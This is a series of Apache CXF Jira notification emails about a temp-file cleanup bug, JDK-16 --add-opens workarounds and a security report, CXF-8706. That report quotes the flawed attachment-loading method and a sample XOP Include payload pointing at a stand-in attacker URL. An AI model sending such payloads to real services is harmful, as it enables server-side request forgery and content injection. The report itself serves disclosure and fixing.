[jira] [Updated] (CXF-7396) CachedOutputStream doesn't delete temp files
[ https://issues.apache.org/jira/browse/CXF-7396?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-7396: -- Fix Version/s: 4.0.1 (was: 4.0.0) > CachedOutputStream doesn't delete temp files > > > Key: CXF-7396 > URL: https://issues.apache.org/jira/browse/CXF-7396 > Project: CXF > Issue Type: Bug > Components: Core >Affects Versions: 3.1.8 >Reporter: Matthew Roth >Assignee: Andriy Redko >Priority: Minor > Fix For: 3.6.0, 4.0.1, 3.5.6, 3.4.11 > > Attachments: HTTP Request.jmx, Screenshot 2020-05-05 at 10.09.43.png, > Screenshot 2020-05-12 at 12.42.11.png, image-2018-05-29-13-58-03-109.png, > image-2018-05-29-14-00-16-442.png, image-2018-05-29-14-00-54-215.png > > > In the CachedOutputStream the method maybeDeleteTempFile doesn't always > delete the temp file when it should. > > this.streamList.remove(stream) > Doesn't remove the stream, occasionally the stream is not in the list causing > the check of this.streamList().isEmpty() to fail. Also occurs when > this.streamList() contains multiple streams. > This seems occur when too many large requests are processed in a row. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-7396) CachedOutputStream doesn't delete temp files
[ https://issues.apache.org/jira/browse/CXF-7396?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-7396: - Assignee: Andriy Redko > CachedOutputStream doesn't delete temp files > > > Key: CXF-7396 > URL: https://issues.apache.org/jira/browse/CXF-7396 > Project: CXF > Issue Type: Bug > Components: Core >Affects Versions: 3.1.8 >Reporter: Matthew Roth >Assignee: Andriy Redko >Priority: Minor > Fix For: NeedMoreInfo > > Attachments: HTTP Request.jmx, Screenshot 2020-05-05 at 10.09.43.png, > Screenshot 2020-05-12 at 12.42.11.png, image-2018-05-29-13-58-03-109.png, > image-2018-05-29-14-00-16-442.png, image-2018-05-29-14-00-54-215.png > > > In the CachedOutputStream the method maybeDeleteTempFile doesn't always > delete the temp file when it should. > > this.streamList.remove(stream) > Doesn't remove the stream, occasionally the stream is not in the list causing > the check of this.streamList().isEmpty() to fail. Also occurs when > this.streamList() contains multiple streams. > This seems occur when too many large requests are processed in a row. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-7396) CachedOutputStream doesn't delete temp files
[ https://issues.apache.org/jira/browse/CXF-7396?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17649535#comment-17649535 ] Andriy Redko commented on CXF-7396: --- [~afillatre] apologies, the fix has not been implemented yet, we'll try to have the fix ready for the next release > CachedOutputStream doesn't delete temp files > > > Key: CXF-7396 > URL: https://issues.apache.org/jira/browse/CXF-7396 > Project: CXF > Issue Type: Bug > Components: Core >Affects Versions: 3.1.8 >Reporter: Matthew Roth >Priority: Minor > Fix For: NeedMoreInfo > > Attachments: HTTP Request.jmx, Screenshot 2020-05-05 at 10.09.43.png, > Screenshot 2020-05-12 at 12.42.11.png, image-2018-05-29-13-58-03-109.png, > image-2018-05-29-14-00-16-442.png, image-2018-05-29-14-00-54-215.png > > > In the CachedOutputStream the method maybeDeleteTempFile doesn't always > delete the temp file when it should. > > this.streamList.remove(stream) > Doesn't remove the stream, occasionally the stream is not in the list causing > the check of this.streamList().isEmpty() to fail. Also occurs when > this.streamList() contains multiple streams. > This seems occur when too many large requests are processed in a row. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8706) CXF MTOM handler allow content injection
[
https://issues.apache.org/jira/browse/CXF-8706?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17649529#comment-17649529
]
Andriy Redko commented on CXF-8706:
---
[~bergers] the fix disables arbitrary data sources by default, w/o MTOM
enabled. Regarding the usage of the {{SOAPBinding.isMTOMEnabled(), }}I am not
sure, seems like Apache CXF have alternative
{*}`{color:#00}Message.{color}{*}{color:#c0}MTOM_ENABLED`{color}{color:#172b4d}
{color}{color:#172b4d}contextual property to control this behavior, thank you.
{color}{color:#172b4d}
{color}
> CXF MTOM handler allow content injection
>
>
> Key: CXF-8706
> URL: https://issues.apache.org/jira/browse/CXF-8706
> Project: CXF
> Issue Type: Bug
> Components: JAXB Databinding
>Affects Versions: 3.5.2
>Reporter: Chunqing Lin
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 3.4.10, 3.5.5, 4.0.0, 3.6.0
>
>
> When used with SOAP web service or JAXRS web service with MTOM enabled,
> Unmarshaller allows XOP Include tag to have href attributes that allow any
> protocols. According to the W3C MTOM spec, only "cid:" should be allowed for
> href scheme.
> The affected call stack is:
> AttachmentUtil.getAttachmentDataSource(String, Collection)
> line: 554
> JAXBAttachmentUnmarshaller.getAttachmentAsDataHandler(String) line: 49
> MTOMDecorator.startElement(TagName) line: 70
> The source code is:
> public static DataSource getAttachmentDataSource(String contentId,
> Collection atts) {
> // Is this right? - DD
> if (contentId.startsWith("cid:")) {
> try {
> contentId = URLDecoder.decode(contentId.substring(4),
> StandardCharsets.UTF_8.name());
> } catch (UnsupportedEncodingException ue) {
> contentId = contentId.substring(4);
> }
> return loadDataSource(contentId, atts);
> } else if (contentId.indexOf("://") == -1) {
> return loadDataSource(contentId, atts);
> } else {// should only take cid for XOP
> try {
> return new URLDataSource(new URL(contentId));
> } catch (MalformedURLException e) {
> throw new Fault(e);
> }
> }
> }
>
> The exploit can send payload containing:
> http://attackers.site/exploit/payload;
> xmlns:inc="http://www.w3.org/2004/08/xop/include"/>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Comment Edited] (CXF-8706) CXF MTOM handler allow content injection
[
https://issues.apache.org/jira/browse/CXF-8706?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17649529#comment-17649529
]
Andriy Redko edited comment on CXF-8706 at 12/20/22 1:58 AM:
-
[~bergers] the fix disables arbitrary data sources by default, w/o MTOM
enabled. Regarding the usage of the `SOAPBinding.isMTOMEnabled()`, I am not
sure, seems like Apache CXF have alternative
{*}`{color:#00}Message.{color}{*}{color:#c0}MTOM_ENABLED`{color}{color:#172b4d}
{color}{color:#172b4d}contextual property to control this behavior, thank you.
{color}
was (Author: reta):
[~bergers] the fix disables arbitrary data sources by default, w/o MTOM
enabled. Regarding the usage of the {{SOAPBinding.isMTOMEnabled(), }}I am not
sure, seems like Apache CXF have alternative
{*}`{color:#00}Message.{color}{*}{color:#c0}MTOM_ENABLED`{color}{color:#172b4d}
{color}{color:#172b4d}contextual property to control this behavior, thank you.
{color}{color:#172b4d}
{color}
> CXF MTOM handler allow content injection
>
>
> Key: CXF-8706
> URL: https://issues.apache.org/jira/browse/CXF-8706
> Project: CXF
> Issue Type: Bug
> Components: JAXB Databinding
>Affects Versions: 3.5.2
>Reporter: Chunqing Lin
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 3.4.10, 3.5.5, 4.0.0, 3.6.0
>
>
> When used with SOAP web service or JAXRS web service with MTOM enabled,
> Unmarshaller allows XOP Include tag to have href attributes that allow any
> protocols. According to the W3C MTOM spec, only "cid:" should be allowed for
> href scheme.
> The affected call stack is:
> AttachmentUtil.getAttachmentDataSource(String, Collection)
> line: 554
> JAXBAttachmentUnmarshaller.getAttachmentAsDataHandler(String) line: 49
> MTOMDecorator.startElement(TagName) line: 70
> The source code is:
> public static DataSource getAttachmentDataSource(String contentId,
> Collection atts) {
> // Is this right? - DD
> if (contentId.startsWith("cid:")) {
> try {
> contentId = URLDecoder.decode(contentId.substring(4),
> StandardCharsets.UTF_8.name());
> } catch (UnsupportedEncodingException ue) {
> contentId = contentId.substring(4);
> }
> return loadDataSource(contentId, atts);
> } else if (contentId.indexOf("://") == -1) {
> return loadDataSource(contentId, atts);
> } else {// should only take cid for XOP
> try {
> return new URLDataSource(new URL(contentId));
> } catch (MalformedURLException e) {
> throw new Fault(e);
> }
> }
> }
>
> The exploit can send payload containing:
> http://attackers.site/exploit/payload;
> xmlns:inc="http://www.w3.org/2004/08/xop/include"/>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8407) Incorporate changes caused by JEP-396 integration into JDK-16+
[
https://issues.apache.org/jira/browse/CXF-8407?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8407:
--
Description:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
- -apacheds needs --add-opens java.base/sun.security.x509=ALL-UNNAMED
{}add-opens java.base/sun.security.util=ALL-UNNAMED-
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
java.xml/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED (saaj-impl 1.5.3
SOAPDocumentImpl::createDocument() instantiates
`com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl`)
* *JAXRSClientServerBookTest* & {*}JAXRSHttpsBookTest{*}: need --add-opens
java.base/java.net=ALL-UNNAMED --add-opens
java.base/sun.net.[www.protocol.https=ALL-UNNAMED|http://www.protocol.https=all-unnamed/]
(setting custom HTTP method fe RETRIEVE in
URLConnectionHTTPConduit::setupConnection using reflection)
We should migrate from using those to the means provided by standard library.
[1] [https://openjdk.java.net/jeps/396]
[2] [https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-denied-by-default]
was:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
- apacheds needs --{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
-{{-}}add-opens java.base/sun.security.util=ALL-UNNAMED\{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
[jira] [Updated] (CXF-8407) Incorporate changes caused by JEP-396 integration into JDK-16+
[
https://issues.apache.org/jira/browse/CXF-8407?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8407:
--
Description:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
- apacheds needs --{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
-{{-}}add-opens java.base/sun.security.util=ALL-UNNAMED\{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
java.xml/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED (saaj-impl 1.5.3
SOAPDocumentImpl::createDocument() instantiates
`com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl`)
* *JAXRSClientServerBookTest* & {*}JAXRSHttpsBookTest{*}: need --add-opens
java.base/java.net=ALL-UNNAMED --add-opens
java.base/sun.net.[www.protocol.https=ALL-UNNAMED|http://www.protocol.https=all-unnamed/]
(setting custom HTTP method fe RETRIEVE in
URLConnectionHTTPConduit::setupConnection using reflection)
We should migrate from using those to the means provided by standard library.
[1] [https://openjdk.java.net/jeps/396]
[2] [https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-denied-by-default]
was:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
- apacheds needs \{-}-{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
-{-}add-opens java.base/sun.security.util=ALL-UNNAMED{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need
[jira] [Updated] (CXF-8407) Incorporate changes caused by JEP-396 integration into JDK-16+
[
https://issues.apache.org/jira/browse/CXF-8407?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8407:
--
Description:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
- apacheds needs \{-}-{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
-{-}add-opens java.base/sun.security.util=ALL-UNNAMED{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
java.xml/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED (saaj-impl 1.5.3
SOAPDocumentImpl::createDocument() instantiates
`com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl`)
* *JAXRSClientServerBookTest* & {*}JAXRSHttpsBookTest{*}: need --add-opens
java.base/java.net=ALL-UNNAMED --add-opens
java.base/sun.net.[www.protocol.https=ALL-UNNAMED|http://www.protocol.https=all-unnamed/]
(setting custom HTTP method fe RETRIEVE in
URLConnectionHTTPConduit::setupConnection using reflection)
We should migrate from using those to the means provided by standard library.
[1] [https://openjdk.java.net/jeps/396]
[2] [https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-denied-by-default]
was:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
-{-}- apacheds needs{-} -{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
--add-opens java.base/sun.security.util=ALL-UNNAMED{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need
[jira] [Updated] (CXF-8407) Incorporate changes caused by JEP-396 integration into JDK-16+
[
https://issues.apache.org/jira/browse/CXF-8407?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8407:
--
Description:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
-{-}- apacheds needs{-} -{-}add-opens java.base/sun.security.x509=ALL-UNNAMED
--add-opens java.base/sun.security.util=ALL-UNNAMED{-}
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
java.xml/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED (saaj-impl 1.5.3
SOAPDocumentImpl::createDocument() instantiates
`com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl`)
* *JAXRSClientServerBookTest* & {*}JAXRSHttpsBookTest{*}: need --add-opens
java.base/java.net=ALL-UNNAMED --add-opens
java.base/sun.net.[www.protocol.https=ALL-UNNAMED|http://www.protocol.https=all-unnamed/]
(setting custom HTTP method fe RETRIEVE in
URLConnectionHTTPConduit::setupConnection using reflection)
We should migrate from using those to the means provided by standard library.
[1] [https://openjdk.java.net/jeps/396]
[2] [https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-denied-by-default]
was:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
java.base/java.util=ALL-UNNAMED-{color}
* *SOAPRpcLitClientTypeTest* with xercesImpl: needs --add-opens
java.xml/javax.xml.namespace=ALL-UNNAMED (see please
[https://github.com/javaee/jaxb-v2/issues/1184])
* .{-}*JAXRSLDAPUserTest*{-}: (fixed by CXF-8809)
-- apacheds needs --add-opens java.base/sun.security.x509=ALL-UNNAMED
--add-opens java.base/sun.security.util=ALL-UNNAMED-
- -org.springframework.ldap needs -add-opens
java.naming/com.sun.jndi.ldap=ALL-UNNAMED- (fixed in 2.3.4.RELEASE)
* *JsFrontEndServletTest* & {*}JSClientServerTest{*}: need --add-opens
[jira] [Updated] (CXF-8407) Incorporate changes caused by JEP-396 integration into JDK-16+
[
https://issues.apache.org/jira/browse/CXF-8407?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8407:
--
Description:
JEP-396 introduces stronger encapsulation of JDK internals by default. In CXF,
we are using a number of tricks to access JDK internals, including but not
limited to:
* -AutomaticWorkQueueImpl uses private ThreadPoolExecutor::addWorker: needs
--add-opens java.base/java.util.concurrent=ALL-UNNAMED-
* -EasyMock: needs --add-opens java.base/java.lang=ALL-UNNAMED- (fixed in
EasyMock 5.0.1 by moving off to ByteBuddy)
* CgLib (Spring AOP): needs --add-opens java.base/java.lang=ALL-UNNAMED
{noformat}
Caused by: org.springframework.cglib.core.CodeGenerationException:
java.lang.reflect.InaccessibleObjectException-->Unable to make protected final
java.lang.Class
java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain)
throws java.lang.ClassFormatError accessible: module java.base does not "opens
java.lang" to unnamed module @1e67b872
at
org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:549)
{noformat}
* -ImportRepairTest uses XSImplementationImpl: --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs=ALL-UNNAMED --add-exports
java.xml/com.sun.org.apache.xerces.internal.impl.xs.util=ALL-UNNAMED-
* -ReferencingAuthenticator (method tryWith): needs --add-opens
java.base/java.net=ALL-UNNAMED-
* -stax.WriterTest: needs- -add-opens
java.xml/com.sun.org.apache.xerces.internal.jaxp=ALL-UNNAMED-
* {color:#172b4d}-johnzon-jsonb: needs --add-opens
